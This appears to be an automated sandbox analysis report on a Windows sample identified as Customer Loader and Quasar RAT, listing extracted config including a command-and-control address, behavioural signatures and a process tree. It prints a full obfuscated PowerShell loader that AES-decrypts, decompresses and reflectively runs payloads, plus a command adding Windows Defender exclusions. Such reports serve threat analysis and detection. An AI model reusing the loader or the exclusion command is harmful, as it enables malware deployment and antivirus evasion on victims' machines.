Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
02/06/2026, 03:45
General
- Target x95a382ad413c65b52944b057de7033be3021d7b8fcc0a1ce84618f25842c26e1.exe
- Size 5.2MB
- Sample260602-ebfkxads8x
- SHA256 95a382ad413c65b52944b057de7033be3021d7b8fcc0a1ce84618f25842c26e1
Malware Config
Extracted
-
quasar
-
1.6.6
-
vps-86
-
163.61.39.209:5669
-
4fd296c3-6a44-46fd-aeb0-b9b9530e8f29
-
encryption_key
63C89A087404DF5C2E4073DE97AD98A6817E3B5E
-
install_name
.exe
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Customer Loader
Customer Loader is a downloader written in C#.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- UAC bypass 3 TTPs 2 IoCs
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs net.exe
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\x95a382ad413c65b52944b057de7033be3021d7b8fcc0a1ce84618f25842c26e1.exe"C:\Users\Admin\AppData\Local\Temp\x95a382ad413c65b52944b057de7033be3021d7b8fcc0a1ce84618f25842c26e1.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HVXzhDEaG0qg.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -Wi Hi -Ex Bypass -c "$YvYqae = 'Sys' + 'tem';;$HVfjhn = $YvYqae + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$wmoXvy = $YvYqae + '.I' + 'O';;$Xindvj = $YvYqae + '.Re' + 'fle' + 'cti' + 'on';;$nTGTa = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$azYMc = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$xouJj = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function QkDbxFdB($KWCNcM) {; $hnfWQN=New-Object ($HVfjhn + '.Ae' + 'sMa' + 'nag' + 'ed');; $hnfWQN.Mode=[int]1;; $hnfWQN.Padding=[int]2;; $hnfWQN.Key=[Convert]::$nTGTa('RjLqtMlbhkf33vtX95StqLpcfDLYKUTy668Ybrft5rc=');; $hnfWQN.IV=[Convert]::$nTGTa('6wf2OTfW7ueLiSrE0gkVvw==');; $bWvBZ=$hnfWQN.$azYMc();; $OJleZ=$bWvBZ.$xouJj($KWCNcM, 0, $KWCNcM.Length);; $bWvBZ.Dispose();; $hnfWQN.Dispose();; $OJleZ;;};function JaAAUiyE($KWCNcM) {; $sobJZL=New-Object ($wmoXvy + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$KWCNcM);; $mHqffZ=New-Object ($wmoXvy + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $UdhhJt=$wmoXvy + '.Co' + 'mpr' + 'ess' + 'ion';; $FGJwVS=[type]($UdhhJt + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $NqApSi=[Enum]::ToObject($FGJwVS, 0);; $RpQUX=New-Object ($UdhhJt + '.GZ' + 'ipS' + 'tre' + 'am')($sobJZL, $NqApSi);; $RpQUX.CopyTo($mHqffZ);; $RpQUX.Dispose();; $sobJZL.Dispose();; $mHqffZ.Dispose();; $mHqffZ.ToArray();;};function aXGjNOGW($KWCNcM,$ahJNWV) {; $xCQgY='En' + 'try' + 'Po' + 'int';; $DktlS='Lo' + 'ad';; $JMJwz='In' + 'vo' + 'ke';; $MFqaD=[type]($Xindvj + '.As' + 'se' + 'mb' + 'ly');; $QWUuDR=$MFqaD::$DktlS([byte[]]$KWCNcM);; $vtrRnm=$QWUuDR.$xCQgY;; $vtrRnm.$JMJwz($null, $ahJNWV);;};function JyOgMDYO($XUtIL) {; $uYqafb = New-Object byte[] ($XUtIL.Length / 2);; for ($QMcXn = 0; $QMcXn -lt $XUtIL.Length; $QMcXn += 2) {; $uYqafb[$QMcXn / 2] = [Convert]::ToByte($XUtIL.Substring($QMcXn, 2), 16);; }; $uYqafb;;};$vnJPV = 'GaUaes';;$OaNDj = 'rem ' + $vnJPV;;$sQUngo = $env:lyBGsbGD;;$hTZGy=[type]($wmoXvy + '.Fi' + 'le');;$mjGFG='Re'+'adA'+'llL'+'ine'+'s';;$lIRpzGc=$hTZGy::$mjGFG($sQUngo);;$RGVCnFr = '';;$oqtHnfO = '';;$wdrLbJ = $OaNDj.Length;;foreach ($lDcda in $lIRpzGc) {; if ($lDcda.Length -gt ($wdrLbJ + 1)) {; if ($lDcda.Substring(0, $wdrLbJ) -eq $OaNDj) {; $YBtbqE = $lDcda.Substring($wdrLbJ);; if ($YBtbqE[0] -eq 'b') { $RGVCnFr += $YBtbqE.Substring(1) }; if ($YBtbqE[0] -eq 's') { $oqtHnfO += $YBtbqE.Substring(1) }; }; };};$PjRKAo=JaAAUiyE (QkDbxFdB (JyOgMDYO $RGVCnFr));;$uFrTuh=JaAAUiyE (QkDbxFdB (JyOgMDYO $oqtHnfO));;aXGjNOGW $PjRKAo $null;;aXGjNOGW $uFrTuh (,[string[]] @());"3⤵
- UAC bypass
- Badlisted process makes network request
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -Wi Hi -Ex Bypass -c "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
HVXzhDEaG0qg.bat
__PSScriptPolicyTest_d5pw3oun.u1n.ps1
memory/4240-31-0x000001E065400000-0x000001E06540A000-memory.dmp
memory/4240-37-0x000001E065420000-0x000001E06542A000-memory.dmp
memory/4240-36-0x000001E002360000-0x000001E002366000-memory.dmp
memory/4240-35-0x000001E002350000-0x000001E002358000-memory.dmp
memory/4240-34-0x000001E065990000-0x000001E0659AA000-memory.dmp
memory/4240-33-0x000001E065410000-0x000001E06541A000-memory.dmp
memory/4240-32-0x000001E065970000-0x000001E06598C000-memory.dmp
memory/4240-29-0x000001E002330000-0x000001E00234C000-memory.dmp
memory/4240-30-0x000001E0025A0000-0x000001E002653000-memory.dmp
memory/4400-16-0x000002138BDC0000-0x000002138C00A000-memory.dmp
memory/4400-45-0x00000213FFD70000-0x00000213FFF32000-memory.dmp
memory/4400-13-0x0000021381720000-0x0000021381730000-memory.dmp
memory/4400-14-0x0000021381720000-0x0000021381730000-memory.dmp
memory/4400-8-0x00000213E7840000-0x00000213E7862000-memory.dmp
memory/4400-4-0x0000021381720000-0x0000021381730000-memory.dmp
memory/4400-5-0x0000021381720000-0x0000021381730000-memory.dmp
memory/4400-41-0x000002138C010000-0x000002138C2AC000-memory.dmp
memory/4400-42-0x0000021383B40000-0x0000021383B5E000-memory.dmp
memory/4400-43-0x00000213E77D0000-0x00000213E7820000-memory.dmp
memory/4400-44-0x00000213FFAE0000-0x00000213FFB92000-memory.dmp
memory/4400-15-0x0000021383B20000-0x0000021383B28000-memory.dmp
memory/4400-46-0x000002138C310000-0x000002138C34A000-memory.dmp
memory/4400-49-0x000002138C910000-0x000002138C936000-memory.dmp
memory/4400-48-0x000002138C8C0000-0x000002138C90E000-memory.dmp
memory/4400-47-0x000002138C870000-0x000002138C8BA000-memory.dmp
memory/4400-50-0x000002138C940000-0x000002138C974000-memory.dmp
memory/4400-51-0x000002138C980000-0x000002138C9CC000-memory.dmp
memory/4400-53-0x000002138CA20000-0x000002138CA4A000-memory.dmp
memory/4400-52-0x000002138C9D0000-0x000002138CA1A000-memory.dmp
memory/4400-54-0x00000213E7420000-0x00000213E7432000-memory.dmp
memory/4400-55-0x00000213E78B0000-0x00000213E78EC000-memory.dmp
memory/4400-56-0x000002138CCA0000-0x000002138CCAA000-memory.dmp
memory/4400-57-0x000002138CCD0000-0x000002138CCD8000-memory.dmp